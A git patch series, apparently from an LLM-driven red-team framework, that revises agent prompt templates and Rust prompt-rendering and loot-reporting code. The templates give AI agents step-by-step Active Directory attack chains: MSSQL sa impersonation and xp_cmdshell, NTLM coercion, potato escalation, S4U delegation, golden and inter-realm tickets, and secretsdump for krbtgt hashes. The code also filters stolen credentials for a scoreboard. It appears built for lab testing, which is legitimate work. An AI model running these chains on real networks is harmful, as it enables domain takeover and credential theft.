Coercion -Force SQL server to authenticate to your listener: -``` -mssql_ntlm_coerce( - target='', - username='', - password='', - listener_ip="{{ listener_ip }}", - domain="{{ target_domain | upper }}" -) -``` -→ Captures machine account hash for relay to LDAPS. +### Workflow + +You will not invoke MSSQL tools from this agent prompt directly. When recon +discovers an MSSQL host (or `mssql_enum_linked_servers` finds a linked server), +the orchestrator dispatches a focused `exploit` task whose prompt is rendered +with the discovered SQL FQDN, the captured credential, and (for linked-server +follow-ups) `linked_server` already populated. Inside that task you'll execute +the chain below — the per-task template gives you a tool call with real values. + +The chain (executed inside the dispatched task): + +1. **`mssql_enum_impersonation`** — check who you can impersonate. If `sa` + appears as grantor with `IMPERSONATE`, you can become sysadmin. + Output table format: + ``` + execute as database permission_name state_desc grantee grantor + ---------- -------- --------------- ---------- ---------------- ------- + b'LOGIN' b'' IMPERSONATE GRANT {{ target_domain | split(pat=".") | first | upper }}\your_user sa + ``` +2. **`mssql_impersonate`** with `impersonate_user='sa'` and a verification + query (`SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin')`). Output of + `sa` + `1` confirms sysadmin. +3. **`mssql_enable_xp_cmdshell`** while impersonating `sa` — enables OS command + execution. +4. **`mssql_impersonate`** with the xp_cmdshell query (e.g. + `EXEC xp_cmdshell 'whoami /priv'`). Look for `SeImpersonatePrivilege` (enables + potato attacks to SYSTEM). Common result: `NT AUTHORITY\NETWORK SERVICE` + (limited). +5. **`mssql_enum_linked_servers`** — finds linked servers for cross-domain + pivoting. The orchestrator auto-dispatches a follow-up exploit task per + discovered link with `linked_server` populated, so you do NOT call + `mssql_exec_linked` here. +6. **`mssql_ntlm_coerce`** with `listener_ip="{{ listener_ip }}"` — forces the + SQL service to authenticate to your relay listener. Captures the machine + account hash for relay to LDAPS. + +If `NETWORK SERVICE` is your context after step 4, escalate via potato attacks +(GodPotato, PrintSpoofer) or pivot to other attack paths (constrained +delegation on discovered accounts). ## Trust Attacks -### Child-to-Parent Escalation -When a child domain krbtgt hash is available: -``` -raise_child( - child_domain='', - username='', - password='', - target_domain="{{ target_domain }}" -) -``` -→ Enterprise Admin, then `secretsdump` against `{{ target_dc_ip }}` and any other parent DCs. - -### Golden Ticket with ExtraSID (Manual) -If `raise_child` fails, manually forge ticket with Enterprise Admin SID: -``` -1. Get child domain SID: - get_sid( - domain='', - dc_ip='' - ) -2. Get parent domain SID: - get_sid(domain="{{ target_domain }}", dc_ip="{{ target_dc_ip }}") -3. generate_golden_ticket( - krbtgt_hash='', - domain='', - domain_sid='', - user="Administrator", - user_id=500, - extra_sids='-519' # Enterprise Admins - ) - → Ticket valid in parent domain -4. Use ticket with psexec_kerberos / secretsdump_kerberos against parent DCs -``` - -**Note:** Silver ticket forging is done using impacket's ticketer.py directly if needed. -Golden ticket is preferred for persistence after obtaining krbtgt hash. - -### Cross-Forest Trust Key Extraction -When DA is achieved in `{{ target_domain }}` and `enumerate_domain_trusts` reports a cross-forest trust: -``` -1. extract_trust_key( - domain="{{ target_domain }}", - dc_ip="{{ target_dc_ip }}", - target_domain='', - username="Administrator", - password='' - ) - → Returns the trusted forest's trust account NTLM hash - -2. create_inter_realm_ticket( - source_domain="{{ target_domain }}", - source_sid='', - trust_key='', - target_domain='', - target_sid='' - ) - → Forges inter-realm TGT - -3. Use ticket for secretsdump_kerberos against the trusted forest's DCs -``` +Trust escalation runs as dispatched `exploit` tasks (`vuln_type=cross_forest` +or `child_to_parent`). The per-task prompt is rendered with the trust key, the +source/target domain SIDs, and the trusted forest FQDN already populated by +`auto_trust_follow` — you don't read those out of prior tool output yourself. +Trigger the path by ensuring the prerequisite data lands in state: + +- **Child-to-Parent escalation** runs when a child-domain krbtgt hash and + child-DA credentials are present. The dispatched task either calls + `raise_child` (automated path) or, when the manual ExtraSID path is taken, + forges a golden ticket whose `extra_sids` is the parent forest's SID with + `-519` appended (the Enterprise Admins RID). +- **Cross-Forest Trust Key Extraction** runs when DA in `{{ target_domain }}` + exists and `enumerate_domain_trusts` reports a forest trust. The chain is + `extract_trust_key` → `create_inter_realm_ticket` → `secretsdump_kerberos`. + The `secretsdump_kerberos` step is auto-chained from the `.ccache` produced + by the inter-realm ticket forge (via `auto_chain_s4u_secretsdump`). **Important:** SID filtering blocks RID<1000 across forest trusts. If inter-realm ticket path fails, look for organic paths: MSSQL links, ACL chains, or foreign -security principals within the target forest. +security principals within the target forest. Note: silver ticket forging is +done via impacket's ticketer.py if needed; golden ticket is preferred for +persistence once a krbtgt hash is in hand. ## Local Privilege Escalation diff --git a/ares-llm/templates/redteam/tasks/exploit_delegation.md.tera b/ares-llm/templates/redteam/tasks/exploit_delegation.md.tera index 5ea067d8..b85751cf 100644 --- a/ares-llm/templates/redteam/tasks/exploit_delegation.md.tera +++ b/ares-llm/templates/redteam/tasks/exploit_delegation.md.tera @@ -1,4 +1,4 @@ -**CONSTRAINED DELEGATION EXPLOITATION** +**CONSTRAINED DELEGATION EXPLOITATION (S4U)** Account with delegation: {{ account }} Target SPN: {{ target_spn }} @@ -7,7 +7,7 @@ Target IP: {{ target_ip }} Domain: {{ domain }} Task ID: {{ task_id }} -**STEP 1: S4U ATTACK (Get Administrator ticket)** +**Run S4U to impersonate Administrator:** ``` s4u_attack( target_spn='{{ target_spn }}', @@ -18,34 +18,15 @@ s4u_attack( dc_ip='{{ dc_ip }}'{% endif %} ) ``` --> Look for the `Saving ticket in ...` line printed by `s4u_attack` — it ends with the `.ccache` filename you'll need in step 2. -**STEP 2: USE TICKET WITH SECRETSDUMP_KERBEROS (IMMEDIATELY AFTER!)** -Call `secretsdump_kerberos` with `target='{{ target_hostname }}'`, -`username='Administrator'`, `domain='{{ domain }}'`, -`target_ip='{{ target_ip }}'`{% if dc_ip %}, `dc_ip='{{ dc_ip }}'`{% endif %}, -and `ticket_path` set to the exact `.ccache` file path printed in the -`Saving ticket in ... .ccache` line of step 1's output. Always include -`target_ip` to avoid DNS resolution issues. +That's the entire task. The orchestrator detects the `.ccache` ticket emitted +by `s4u_attack` and **automatically dispatches a follow-up `credential_access` +task** that runs `secretsdump` with the ticket already wired to `ticket_path` +(via `auto_chain_s4u_secretsdump` in result_processing). Do NOT call +`secretsdump_kerberos` or `psexec_kerberos` yourself in this task — the chained +task handles it with the real ticket value. -**STEP 3: ALTERNATIVE - PSEXEC_KERBEROS FOR SHELL** -If secretsdump fails or you need a shell, call `psexec_kerberos` with the same -target/username/domain/target_ip{% if dc_ip %}/dc_ip{% endif %} arguments and -the same `.ccache` ticket_path from step 1, plus -`command='cmd /c whoami && hostname'`. - -**CRITICAL SUCCESS INDICATORS:** -- If target is a DC: Look for krbtgt hash -> DOMAIN ADMIN -- If target is a DC: Look for Administrator hash -> DOMAIN ADMIN -- If target is a member server: SAM/LSA secrets for lateral movement - -**DO NOT STOP after getting the ticket!** The ticket is useless by itself. -You MUST use it with secretsdump_kerberos or psexec_kerberos to achieve actual access. - -Report any hashes obtained: -```json -{"hash": {"username": "Administrator", "hash_value": "...", "hash_type": "NTLM", "domain": "..."}} -``` +Call `task_complete` as soon as `s4u_attack` finishes (success or failure). {% if state_context %} ## Current Operation State diff --git a/ares-llm/templates/redteam/tasks/exploit_mssql_lateral.md.tera b/ares-llm/templates/redteam/tasks/exploit_mssql_lateral.md.tera index b7a96798..05896acc 100644 --- a/ares-llm/templates/redteam/tasks/exploit_mssql_lateral.md.tera +++ b/ares-llm/templates/redteam/tasks/exploit_mssql_lateral.md.tera @@ -36,20 +36,22 @@ mssql_enum_linked_servers( domain='{{ domain }}' ) ``` --> Linked servers can bridge domain/forest trust boundaries! - -If `mssql_enum_linked_servers` returns one or more linked server names in its tool output, pivot through each one. Copy the linked server name verbatim from that tool output into `linked_server` — do not invent or guess names: +-> Linked servers can bridge domain/forest trust boundaries. Each link discovered will be auto-dispatched as a separate follow-up task with `linked_server` already populated — do NOT call `mssql_exec_linked` here on links you discover during this task. +{% if linked_server %} +**STEP 3a: PIVOT THROUGH ALREADY-DISCOVERED LINKED SERVER** +This task was dispatched with a known linked server (`{{ linked_server }}`), pivot through it now: ``` mssql_exec_linked( target='{{ target }}', username='{{ sample_username }}', password='{{ sample_password }}', domain='{{ domain }}', - linked_server='', + linked_server='{{ linked_server }}', query='SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER(''sysadmin'')' ) ``` -> Confirms the pivot worked before running further queries. +{% endif %} **STEP 4: EXPLOIT IMPERSONATION (IF FOUND)** If 'sa' is impersonatable, IMMEDIATELY exploit it: diff --git a/ares-llm/templates/redteam/tasks/exploit_trust.md.tera b/ares-llm/templates/redteam/tasks/exploit_trust.md.tera index ba148909..af05504e 100644 --- a/ares-llm/templates/redteam/tasks/exploit_trust.md.tera +++ b/ares-llm/templates/redteam/tasks/exploit_trust.md.tera @@ -23,9 +23,14 @@ extract_trust_key( -> Also extract AES256 key if available (needed for Windows 2016+) {% endif -%} -{% if needs_source_sid or needs_target_sid -%} +{% if not has_source_sid or not has_target_sid -%} **STEP {{ step_sid }}: RESOLVE DOMAIN SIDs** -{% if needs_source_sid -%} + +The forge step needs both the source-domain SID and the target-domain SID. +Run only the missing call(s) below — `task_complete` after they finish, and +the orchestrator will re-dispatch the forge step automatically once the SIDs +are in state. +{% if not has_source_sid %} Source SID (resolve via source DC): ``` get_sid( @@ -36,41 +41,41 @@ get_sid( ) ``` {% endif -%} -{% if needs_target_sid -%} -Target SID (resolve via target DC using trust key for auth): +{% if not has_target_sid -%} +Target SID (resolve via target DC using the extracted trust key for auth): ``` get_sid( domain='{{ trusted_domain }}', username='{{ username }}', - hash='{{ trust_key_or_placeholder }}', + hash='{{ trust_key }}', dc_ip='{{ target_dc_hint }}' ) ``` {% endif -%} {% endif -%} +{% if can_forge -%} **STEP {{ step_forge }}: FORGE INTER-REALM TGT** ``` create_inter_realm_ticket( source_domain='{{ domain }}', - source_sid='{{ source_sid_val }}', - trust_key='{{ trust_key_val }}', + source_sid='{{ source_sid }}', + trust_key='{{ trust_key }}', target_domain='{{ trusted_domain }}', - target_sid='{{ target_sid_val }}', + target_sid='{{ target_sid }}', username='Administrator'{% if is_child_to_parent %}, - extra_sid='{{ extra_sid_val }}-519'{% endif %} + extra_sid='{{ target_sid }}-519'{% endif %} ) ``` --> Saves .ccache ticket file for cross-domain auth +-> Saves .ccache ticket file for cross-domain auth. **STEP {{ step_secretsdump }}: USE TICKET FOR SECRETSDUMP ON TARGET DOMAIN** -Call `secretsdump_kerberos` with `username='Administrator'`, -`domain='{{ trusted_domain }}'`, `target` set to the target-domain DC hostname -(reported by `enumerate_domain_trusts` against `{{ trusted_domain }}`), -`target_ip` set to that DC's IP from the same enumeration, and `ticket_path` -set to the `.ccache` filename printed in the previous step's output. --> Look for krbtgt hash = DOMAIN ADMIN on target domain! --> Look for Administrator hash = full access to target domain +The orchestrator's S4U auto-chain detects the `.ccache` produced above and +**automatically dispatches a follow-up `credential_access` task** that runs +`secretsdump_kerberos` with the ticket already wired to `ticket_path` (via +`auto_chain_s4u_secretsdump`). Do NOT call `secretsdump_kerberos` yourself in +this task — call `task_complete` after the forge step succeeds. +{% endif -%} {% if not is_child_to_parent -%} **IMPORTANT: IMPACKET CROSS-REALM REFERRAL BUG WORKAROUND** From bf61506fb8be43af76460fd6778945861889cf37 Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Sat, 9 May 2026 19:40:36 -0600 Subject: [PATCH 3/7] refactor: unify prompt template context via OperationContext struct **Added:** - Introduced `OperationContext` struct to encapsulate operation-specific fields (domain, DC IP/FQDN, listener IP) for prompt templates in `templates.rs` - Added `OperationContext::EMPTY` constant and an `insert_into` method for context injection - Added a test constant `TEST_OP` for use in prompt template tests **Changed:** - Refactored all agent and system prompt rendering functions (`render_agent_instructions`, `render_system_instructions`, etc.) to accept a single `OperationContext` argument instead of multiple individual operation-related parameters - Updated all internal calls and tests to use the new `OperationContext` signature, replacing positional string arguments with the struct - Simplified code in orchestrator, prompt, and test modules to use the unified context for readability and maintainability **Removed:** - Eliminated separate `target_domain`, `target_dc_ip`, `target_dc_fqdn`, and `listener_ip` function parameters in favor of the new `OperationContext` struct throughout the prompt/template codebase and tests --- ares-cli/src/orchestrator/llm_runner.rs | 18 +-- ares-llm/examples/smoke_test.rs | 12 +- ares-llm/src/prompt/blue.rs | 5 +- ares-llm/src/prompt/templates.rs | 174 ++++++++++-------------- 4 files changed, 90 insertions(+), 119 deletions(-) diff --git a/ares-cli/src/orchestrator/llm_runner.rs b/ares-cli/src/orchestrator/llm_runner.rs index 140a3cf2..cc851dee 100644 --- a/ares-cli/src/orchestrator/llm_runner.rs +++ b/ares-cli/src/orchestrator/llm_runner.rs @@ -200,14 +200,13 @@ fn build_system_prompt( } else { Some(technique_priorities) }; - let system_instructions = templates::render_system_instructions( - None, - priorities, - &snapshot.target_domain, - &snapshot.target_dc_ip, - &snapshot.target_dc_fqdn, + let op = templates::OperationContext { + target_domain: &snapshot.target_domain, + target_dc_ip: &snapshot.target_dc_ip, + target_dc_fqdn: &snapshot.target_dc_fqdn, listener_ip, - )?; + }; + let system_instructions = templates::render_system_instructions(None, priorities, op)?; // Render agent-specific instructions let agent_instructions = templates::render_agent_instructions( @@ -215,10 +214,7 @@ fn build_system_prompt( &capabilities, !snapshot.undominated_forests.is_empty(), &snapshot.undominated_forests, - &snapshot.target_domain, - &snapshot.target_dc_ip, - &snapshot.target_dc_fqdn, - listener_ip, + op, )?; Ok(format!("{system_instructions}\n\n{agent_instructions}")) diff --git a/ares-llm/examples/smoke_test.rs b/ares-llm/examples/smoke_test.rs index b5ba5355..f8330ea4 100644 --- a/ares-llm/examples/smoke_test.rs +++ b/ares-llm/examples/smoke_test.rs @@ -14,7 +14,7 @@ use anyhow::Result; use serde_json::json; use ares_llm::prompt::generate_task_prompt; -use ares_llm::prompt::templates::{render_agent_instructions, TEMPLATE_RECON}; +use ares_llm::prompt::templates::{render_agent_instructions, OperationContext, TEMPLATE_RECON}; use ares_llm::tool_registry::{tools_for_role, AgentRole}; use ares_llm::{ run_agent_loop, AgentLoopConfig, CallbackHandler, LlmError, LlmProvider, LlmRequest, @@ -135,10 +135,12 @@ async fn main() -> Result<()> { &capabilities, false, &[], - "contoso.local", - "192.168.58.10", - "dc01.contoso.local", - "192.168.58.50", + OperationContext { + target_domain: "contoso.local", + target_dc_ip: "192.168.58.10", + target_dc_fqdn: "dc01.contoso.local", + listener_ip: "192.168.58.50", + }, )?; assert!(!system_prompt.is_empty()); println!( diff --git a/ares-llm/src/prompt/blue.rs b/ares-llm/src/prompt/blue.rs index 62b0cf84..c3fab6aa 100644 --- a/ares-llm/src/prompt/blue.rs +++ b/ares-llm/src/prompt/blue.rs @@ -180,10 +180,7 @@ pub fn build_blue_system_prompt( capabilities, false, &[], - "", - "", - "", - "", + templates::OperationContext::EMPTY, &extras, ) } diff --git a/ares-llm/src/prompt/templates.rs b/ares-llm/src/prompt/templates.rs index 50f0472d..a46cc7ec 100644 --- a/ares-llm/src/prompt/templates.rs +++ b/ares-llm/src/prompt/templates.rs @@ -319,39 +319,62 @@ static TEMPLATES: LazyLock = LazyLock::new(|| { tera }); +/// Operation context fields injected into agent and system prompt templates so +/// example tool calls show real operation values instead of generic literals +/// the LLM might copy verbatim. +#[derive(Debug, Clone, Copy)] +pub struct OperationContext<'a> { + /// Primary target FQDN (e.g. `contoso.local`) + pub target_domain: &'a str, + /// Primary target DC IP + pub target_dc_ip: &'a str, + /// Primary target DC FQDN + pub target_dc_fqdn: &'a str, + /// Listener IP for callback-style tools + pub listener_ip: &'a str, +} + +impl OperationContext<'_> { + /// All-empty context, for templates that don't reference operation values. + pub const EMPTY: Self = Self { + target_domain: "", + target_dc_ip: "", + target_dc_fqdn: "", + listener_ip: "", + }; + + fn insert_into(&self, ctx: &mut Context) { + ctx.insert("target_domain", self.target_domain); + ctx.insert("target_dc_ip", self.target_dc_ip); + ctx.insert("target_dc_fqdn", self.target_dc_fqdn); + ctx.insert("listener_ip", self.listener_ip); + } +} + /// Render an agent instruction template with the given context variables. /// /// Used for role-based system prompts (recon, credential_access, cracker, etc.) -/// that have a `{% for tool in capabilities %}` loop. `target_domain` and -/// `target_dc_ip` are injected so example tool calls show the real operation -/// values instead of generic literals. +/// that have a `{% for tool in capabilities %}` loop. /// /// # Arguments /// * `template_name` - Template identifier (e.g. `TEMPLATE_RECON`) /// * `capabilities` - List of tool names available to this agent role /// * `multi_forest_mode` - Whether multi-forest operation is active /// * `undominated_forests` - Forest names not yet dominated (for orchestrator) -/// * `target_domain` - Primary target FQDN (e.g. `north.sevenkingdoms.local`) -/// * `target_dc_ip` - Primary target DC IP +/// * `op` - Operation context injected into example tool calls pub fn render_agent_instructions( template_name: &str, capabilities: &[String], multi_forest_mode: bool, undominated_forests: &[String], - target_domain: &str, - target_dc_ip: &str, - target_dc_fqdn: &str, - listener_ip: &str, + op: OperationContext<'_>, ) -> Result { render_agent_instructions_with_extras( template_name, capabilities, multi_forest_mode, undominated_forests, - target_domain, - target_dc_ip, - target_dc_fqdn, - listener_ip, + op, &[], ) } @@ -363,20 +386,14 @@ pub fn render_agent_instructions_with_extras( capabilities: &[String], multi_forest_mode: bool, undominated_forests: &[String], - target_domain: &str, - target_dc_ip: &str, - target_dc_fqdn: &str, - listener_ip: &str, + op: OperationContext<'_>, extras: &[(&str, &str)], ) -> Result { let mut ctx = Context::new(); ctx.insert("capabilities", capabilities); ctx.insert("multi_forest_mode", &multi_forest_mode); ctx.insert("undominated_forests", undominated_forests); - ctx.insert("target_domain", target_domain); - ctx.insert("target_dc_ip", target_dc_ip); - ctx.insert("target_dc_fqdn", target_dc_fqdn); - ctx.insert("listener_ip", listener_ip); + op.insert_into(&mut ctx); for (k, v) in extras { ctx.insert(*k, v); } @@ -391,16 +408,11 @@ pub fn render_agent_instructions_with_extras( /// - `all_capabilities`: map of role → tool list. Falls back to hardcoded defaults if None. /// - `technique_priorities`: sorted list of (technique, weight) pairs for the priority table. /// If provided, renders a dynamic "ATTACK FALLBACK CHAINS" section. -/// - `target_domain` / `target_dc_ip`: operation context injected into example -/// tool calls so the LLM sees real values instead of generic literals it -/// might copy verbatim. +/// - `op`: operation context injected into example tool calls. pub fn render_system_instructions( all_capabilities: Option<&HashMap>>, technique_priorities: Option<&[(String, i32)]>, - target_domain: &str, - target_dc_ip: &str, - target_dc_fqdn: &str, - listener_ip: &str, + op: OperationContext<'_>, ) -> Result { let mut ctx = Context::new(); if let Some(caps) = all_capabilities { @@ -409,10 +421,7 @@ pub fn render_system_instructions( if let Some(priorities) = technique_priorities { ctx.insert("technique_priorities", priorities); } - ctx.insert("target_domain", target_domain); - ctx.insert("target_dc_ip", target_dc_ip); - ctx.insert("target_dc_fqdn", target_dc_fqdn); - ctx.insert("listener_ip", listener_ip); + op.insert_into(&mut ctx); TEMPLATES .render(TEMPLATE_SYSTEM_INSTRUCTIONS, &ctx) @@ -449,6 +458,13 @@ pub fn render_task_template( mod tests { use super::*; + const TEST_OP: OperationContext<'static> = OperationContext { + target_domain: "contoso.local", + target_dc_ip: "192.168.58.10", + target_dc_fqdn: "dc01.contoso.local", + listener_ip: "192.168.58.50", + }; + #[test] fn render_recon_template() { let capabilities = vec![ @@ -456,7 +472,8 @@ mod tests { "enumerate_users".to_string(), "run_bloodhound".to_string(), ]; - let result = render_agent_instructions(TEMPLATE_RECON, &capabilities, false, &[], "contoso.local", "192.168.58.10", "dc01.contoso.local", "192.168.58.50").unwrap(); + let result = + render_agent_instructions(TEMPLATE_RECON, &capabilities, false, &[], TEST_OP).unwrap(); assert!(result.contains("RECON Worker Agent")); assert!(result.contains("- nmap_scan")); @@ -466,17 +483,7 @@ mod tests { #[test] fn render_recon_empty_capabilities() { - let result = render_agent_instructions( - TEMPLATE_RECON, - &[], - false, - &[], - "contoso.local", - "192.168.58.10", - "dc01.contoso.local", - "192.168.58.50", - ) - .unwrap(); + let result = render_agent_instructions(TEMPLATE_RECON, &[], false, &[], TEST_OP).unwrap(); assert!(result.contains("RECON Worker Agent")); assert!(result.contains("## Available Tools")); } @@ -484,18 +491,14 @@ mod tests { #[test] fn render_credential_access_template() { let capabilities = vec!["secretsdump".to_string(), "kerberoast".to_string()]; - let result = - render_agent_instructions( - TEMPLATE_CREDENTIAL_ACCESS, - &capabilities, - false, - &[], - "contoso.local", - "192.168.58.10", - "dc01.contoso.local", - "192.168.58.50", - ) - .unwrap(); + let result = render_agent_instructions( + TEMPLATE_CREDENTIAL_ACCESS, + &capabilities, + false, + &[], + TEST_OP, + ) + .unwrap(); assert!(result.contains("Credential Access Agent")); assert!(result.contains("- secretsdump")); assert!(result.contains("- kerberoast")); @@ -505,7 +508,8 @@ mod tests { fn render_cracker_template() { let capabilities = vec!["crack_with_hashcat".to_string()]; let result = - render_agent_instructions(TEMPLATE_CRACKER, &capabilities, false, &[], "contoso.local", "192.168.58.10", "dc01.contoso.local", "192.168.58.50").unwrap(); + render_agent_instructions(TEMPLATE_CRACKER, &capabilities, false, &[], TEST_OP) + .unwrap(); assert!(result.contains("Hash Cracker Agent")); assert!(result.contains("- crack_with_hashcat")); } @@ -513,7 +517,8 @@ mod tests { #[test] fn render_acl_template() { let capabilities = vec!["pywhisker".to_string(), "dacl_edit".to_string()]; - let result = render_agent_instructions(TEMPLATE_ACL, &capabilities, false, &[], "contoso.local", "192.168.58.10", "dc01.contoso.local", "192.168.58.50").unwrap(); + let result = + render_agent_instructions(TEMPLATE_ACL, &capabilities, false, &[], TEST_OP).unwrap(); assert!(result.contains("ACL Exploitation Agent")); assert!(result.contains("- pywhisker")); } @@ -522,7 +527,8 @@ mod tests { fn render_privesc_template() { let capabilities = vec!["certipy_find".to_string(), "s4u_attack".to_string()]; let result = - render_agent_instructions(TEMPLATE_PRIVESC, &capabilities, false, &[], "contoso.local", "192.168.58.10", "dc01.contoso.local", "192.168.58.50").unwrap(); + render_agent_instructions(TEMPLATE_PRIVESC, &capabilities, false, &[], TEST_OP) + .unwrap(); assert!(result.contains("Privilege Escalation Agent")); assert!(result.contains("- certipy_find")); } @@ -531,7 +537,8 @@ mod tests { fn render_lateral_template() { let capabilities = vec!["psexec".to_string(), "evil_winrm".to_string()]; let result = - render_agent_instructions(TEMPLATE_LATERAL, &capabilities, false, &[], "contoso.local", "192.168.58.10", "dc01.contoso.local", "192.168.58.50").unwrap(); + render_agent_instructions(TEMPLATE_LATERAL, &capabilities, false, &[], TEST_OP) + .unwrap(); assert!(result.contains("Lateral Movement Agent")); assert!(result.contains("- psexec")); } @@ -540,7 +547,8 @@ mod tests { fn render_coercion_template() { let capabilities = vec!["petitpotam".to_string(), "start_responder".to_string()]; let result = - render_agent_instructions(TEMPLATE_COERCION, &capabilities, false, &[], "contoso.local", "192.168.58.10", "dc01.contoso.local", "192.168.58.50").unwrap(); + render_agent_instructions(TEMPLATE_COERCION, &capabilities, false, &[], TEST_OP) + .unwrap(); assert!(result.contains("Coercion Agent")); assert!(result.contains("- petitpotam")); } @@ -549,7 +557,8 @@ mod tests { fn render_orchestrator_template() { let capabilities = vec!["dispatch_recon".to_string()]; let result = - render_agent_instructions(TEMPLATE_ORCHESTRATOR, &capabilities, false, &[], "contoso.local", "192.168.58.10", "dc01.contoso.local", "192.168.58.50").unwrap(); + render_agent_instructions(TEMPLATE_ORCHESTRATOR, &capabilities, false, &[], TEST_OP) + .unwrap(); assert!(result.contains("Red Team Orchestrator")); } @@ -567,30 +576,14 @@ mod tests { caps.insert("privesc".to_string(), vec!["certipy".to_string()]); caps.insert("lateral".to_string(), vec!["psexec".to_string()]); - let result = render_system_instructions( - Some(&caps), - None, - "contoso.local", - "192.168.58.10", - "dc01.contoso.local", - "192.168.58.50", - ) - .unwrap(); + let result = render_system_instructions(Some(&caps), None, TEST_OP).unwrap(); assert!(result.contains("RECON")); assert!(result.contains("nmap_scan")); } #[test] fn render_system_instructions_without_capabilities() { - let result = render_system_instructions( - None, - None, - "contoso.local", - "192.168.58.10", - "dc01.contoso.local", - "192.168.58.50", - ) - .unwrap(); + let result = render_system_instructions(None, None, TEST_OP).unwrap(); // Falls back to hardcoded defaults assert!(result.contains("nmap, netexec, rpcclient")); // Hardcoded fallback table @@ -607,15 +600,7 @@ mod tests { ("esc1".to_string(), 5), ("acl_abuse".to_string(), 6), ]; - let result = render_system_instructions( - None, - Some(&priorities), - "contoso.local", - "192.168.58.10", - "dc01.contoso.local", - "192.168.58.50", - ) - .unwrap(); + let result = render_system_instructions(None, Some(&priorities), TEST_OP).unwrap(); // Dynamic table rendered assert!( result.contains("operator strategy"), @@ -704,16 +689,7 @@ mod tests { #[test] fn invalid_template_name() { - let result = render_agent_instructions( - "nonexistent", - &[], - false, - &[], - "contoso.local", - "192.168.58.10", - "dc01.contoso.local", - "192.168.58.50", - ); + let result = render_agent_instructions("nonexistent", &[], false, &[], TEST_OP); assert!(result.is_err()); } } From 1f1b75d73fa0fab3fa1d99b0fde7cfec1cfb4d8b Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Sat, 9 May 2026 19:51:16 -0600 Subject: [PATCH 4/7] feat: filter out noise and duplicates from loot json credential/hash reporting **Added:** - introduced `report_filter` module with logic to exclude machine accounts, krbtgt, local SAM built-ins, common service accounts, and already-cracked hashes from reported credentials and hashes - comprehensive unit tests for credential and hash filtering logic **Changed:** - updated loot JSON output to apply filtering so only reportable credentials and hashes are included, reducing noise for external scoreboards - added `report_filter` module import in format mod.rs to enable filtering in JSON output --- ares-cli/src/ops/loot/format/json.rs | 22 +- ares-cli/src/ops/loot/format/mod.rs | 1 + ares-cli/src/ops/loot/format/report_filter.rs | 196 ++++++++++++++++++ 3 files changed, 216 insertions(+), 3 deletions(-) create mode 100644 ares-cli/src/ops/loot/format/report_filter.rs diff --git a/ares-cli/src/ops/loot/format/json.rs b/ares-cli/src/ops/loot/format/json.rs index 81a4b990..afaf7564 100644 --- a/ares-cli/src/ops/loot/format/json.rs +++ b/ares-cli/src/ops/loot/format/json.rs @@ -4,6 +4,7 @@ use ares_core::models::SharedRedTeamState; use super::display::build_domain_achievements; use super::hosts::dedup_hosts; +use super::report_filter::{is_reportable_credential, is_reportable_hash}; use crate::dedup::{dedup_credentials, dedup_hashes, dedup_users}; pub(super) fn print_loot_json( @@ -13,6 +14,7 @@ pub(super) fn print_loot_json( domains: &[String], ) { let unique_users = dedup_users(&state.all_users, &state.netbios_to_fqdn); + // dedup first (achievements need the full set), then filter for reporting. let unique_creds = dedup_credentials(credentials); let unique_hashes = dedup_hashes(hashes); let merged_hosts = dedup_hosts( @@ -21,9 +23,23 @@ pub(super) fn print_loot_json( &state.domain_controllers, ); - // Build per-domain compromise status + // Build per-domain compromise status from the full deduped set — krbtgt + // hashes and admin entries credit DA/Golden-Ticket achievements even + // though they're filtered from the report's credentials/hashes lists. let achievements = build_domain_achievements(state, &unique_hashes, &unique_creds); + // Drop noise (machine accounts, krbtgt, local-SAM built-ins, + // already-cracked hash blobs) before serializing the cred/hash lists + // consumed by external scoreboards. + let report_creds: Vec<&ares_core::models::Credential> = unique_creds + .iter() + .filter(|c| is_reportable_credential(c)) + .collect(); + let report_hashes: Vec<&ares_core::models::Hash> = unique_hashes + .iter() + .filter(|h| is_reportable_hash(h)) + .collect(); + // Build forest structure let mut all_domains: Vec = domains .iter() @@ -135,13 +151,13 @@ pub(super) fn print_loot_json( "is_admin": u.is_admin, "source": u.source, })).collect::>(), - "credentials": unique_creds.iter().map(|c| serde_json::json!({ + "credentials": report_creds.iter().map(|c| serde_json::json!({ "username": c.username, "password": c.password, "domain": c.domain, "is_admin": c.is_admin, })).collect::>(), - "hashes": unique_hashes.iter().map(|h| serde_json::json!({ + "hashes": report_hashes.iter().map(|h| serde_json::json!({ "username": h.username, "domain": h.domain, "hash_type": h.hash_type, diff --git a/ares-cli/src/ops/loot/format/mod.rs b/ares-cli/src/ops/loot/format/mod.rs index 96f87b1e..694b9959 100644 --- a/ares-cli/src/ops/loot/format/mod.rs +++ b/ares-cli/src/ops/loot/format/mod.rs @@ -1,6 +1,7 @@ mod display; mod hosts; mod json; +mod report_filter; use ares_core::models::SharedRedTeamState; diff --git a/ares-cli/src/ops/loot/format/report_filter.rs b/ares-cli/src/ops/loot/format/report_filter.rs new file mode 100644 index 00000000..faa7905e --- /dev/null +++ b/ares-cli/src/ops/loot/format/report_filter.rs @@ -0,0 +1,196 @@ +//! Filters that decide which credentials and hashes are surfaced in the loot +//! JSON output consumed by external scoreboards (e.g. DreadGOAD). +//! +//! These are *report-boundary* filters, not state filters — internal logic +//! (Golden Ticket detection, dedup, etc.) still sees every credential and hash. +//! We drop entries here that would pollute the scoreboard with non-objective +//! noise: machine account hashes from NTDS dumps, local-SAM built-ins, +//! krbtgt (used internally as a Golden-Ticket signal, not a cred objective), +//! and Kerberoast/AS-REP hash blobs that have already been cracked into a +//! Credential row (the same user otherwise shows up twice — once verified +//! via the cracked password, once unmatched via the raw ticket blob). + +use ares_core::models::{Credential, Hash}; + +/// Built-in / system accounts that aren't credit-worthy AD-user findings. +/// +/// `krbtgt` is included because it's consumed internally by Golden Ticket +/// detection rather than tracked as a cred objective. +const NOISE_USERNAMES: &[&str] = &[ + "krbtgt", + "guest", + "defaultaccount", + "wdagutilityaccount", + "ssm-user", + "ansible", +]; + +fn is_machine_account(username: &str) -> bool { + username.ends_with('$') +} + +fn is_noise_username(username: &str) -> bool { + let lower = username.to_lowercase(); + NOISE_USERNAMES.iter().any(|n| *n == lower) +} + +/// Local SAM accounts arrive with no domain (or a synthetic hostname) and +/// match a small set of well-known names. The bare `Administrator` account +/// is local-SAM-only when domain is empty; the actual Domain Admin always +/// carries a real FQDN, so this won't drop credit-worthy DA findings. +fn is_local_sam_builtin(username: &str, domain: 